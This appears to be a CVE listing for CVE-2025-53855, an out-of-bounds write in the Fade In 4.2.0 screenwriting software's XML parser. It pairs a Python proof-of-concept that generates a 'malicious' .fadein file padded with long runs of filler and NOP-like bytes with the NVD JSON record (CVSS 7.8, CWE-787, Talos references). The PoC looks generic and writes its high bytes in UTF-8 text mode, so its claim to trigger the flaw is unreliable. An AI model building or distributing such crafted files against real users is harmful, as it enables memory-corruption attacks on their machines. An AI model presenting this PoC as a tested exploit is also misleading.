CVE-2025-53855

import struct import os def create_malicious_fadein_file(filename): """ PoC for CVE-2025-53855 - Fade In XML Parser Out-of-Bounds Write This generates a malicious .fadein file that triggers the vulnerability """ # XML header with oversized element content to trigger overflow malicious_xml = '''<?xml version="1.0" encoding="UTF-8"?> <fadein_project version="4.2.0"> <title>Malicious Project</title> <script> <scene id="1"> <description>''' + 'A' * 10000 + '''</description> <action>''' + '\x41' * 5000 + '''</action> <dialogue character="VICTIM"> <line>''' + '\x90' * 8000 + '''</line> </dialogue> </scene> </script> <metadata> <author>''' + '\x50' * 10000 + '''</author> <notes>''' + '\xFF' * 15000 + '''</notes> </metadata> </fadein_project>''' with open(filename, 'w', encoding='utf-8') as f: f.write(malicious_xml) print(f"Malicious .fadein file created: {filename}") if __name__ == "__main__": create_malicious_fadein_file("CVE-2025-53855_poc.fadein")

{"cve": {"id": "CVE-2025-53855", "sourceIdentifier": "[email protected]", "published": "2025-10-28T14:15:59.153", "lastModified": "2025-12-02T16:04:31.883", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An out-of-bounds write vulnerability exists in the XML parser functionality of GCC Productions Inc. Fade In 4.2.0. A specially crafted .fadein file can lead to an out-of-bounds write. An attacker can provide a malicious file to trigger this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:generalcoffee:fade_in:4.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "A98957CF-00E6-49DE-BF6D-DF8E143AD113"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2250", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2250", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}]}}